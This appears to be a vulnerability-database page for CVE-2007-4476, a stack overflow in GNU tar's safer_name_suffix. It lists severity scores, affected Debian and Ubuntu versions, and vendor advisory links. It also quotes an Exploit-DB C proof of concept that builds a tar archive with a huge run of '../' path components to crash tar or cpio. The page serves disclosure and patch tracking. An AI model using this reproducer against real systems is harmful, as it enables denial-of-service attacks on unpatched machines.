CVE-2007-4476 : Detail

CVE-2007-4476

Overflow
13.69%V4
Network
2007-09-04
23h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the safer_name_suffix function in GNU tar has unspecified attack vectors and impact, resulting in a "crashing stack."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 30766

Publication date : 2007-11-13 23h00 +00:00
Author : Dmitry V. Levin
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/26445/info GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function. Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed. GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected. /* * paxlib's safer_name_suffix() stack overflow reproducer. */ #include <stdlib.h> #include <string.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <sys/resource.h> #include <libtar.h> int main(int ac, const char *av[]) { struct rlimit r; unsigned count, i; char *s; TAR *t; if (ac != 2) error(1, 0, "exactly two arguments expected"); if (getrlimit(RLIMIT_STACK, &r)) error(1, errno, "getrlimit RLIMIT_STACK"); count = r.rlim_cur / 3 + 1; if (!(s = malloc(count * 3 + 1))) error(1, errno, "malloc: %u", count * 3 + 1); for (i = 0; i < count; ++i) memcpy(s + i * 3, "../", 3); s[count * 3] = '\0'; if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU)) error(1, errno, "tar_open: %s", av[1]); if (tar_append_file(t, "/dev/null", s)) error(1, errno, "tar_append_file: %s", av[1]); if (tar_close(t)) error(1, errno, "tar_close"); return 0; }

Products Mentioned

Configuraton 0

Gnu>>Tar >> Version To (excluding) 1.19

Configuraton 0

Debian>>Debian_linux >> Version 3.1

Debian>>Debian_linux >> Version 4.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 7.04

Canonical>>Ubuntu_linux >> Version 7.10

References

http://secunia.com/advisories/27331
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/32051
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/29968
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27681
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/26445
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/27453
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1566
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/27514
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-709-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2010-0144.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2007/dsa-1438
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDKSA-2007:233
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/27857
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/0629
Tags : vdb-entry, x_refsource_VUPEN
http://security.gentoo.org/glsa/glsa-200711-18.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDKSA-2007:197
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/26987
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/0628
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2010-0141.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/28255
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/33567
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/39008
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-650-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/26674
Tags : third-party-advisory, x_refsource_SECUNIA